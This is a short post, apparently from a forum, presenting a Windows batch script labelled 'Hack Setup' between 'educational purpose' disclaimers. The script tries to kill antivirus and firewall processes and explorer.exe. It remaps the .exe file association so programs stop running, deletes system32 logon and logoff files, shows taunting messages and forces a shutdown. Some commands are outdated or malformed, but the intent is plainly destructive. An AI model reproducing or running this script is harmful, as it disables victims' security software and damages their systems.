Don't try this on ur system.....

title Hack Setup
color 0A
@echo off
set end=md "Hack installing"
set fin=copy "Hack log.txt" "Installing"
%end%
%fin%
net send * Hack is installing, press OK to begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is hacked....
msg * I warned you, and you kept going. Challenge me and this is what happens.
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown

just for educational purpose don't run this on others system aswell.....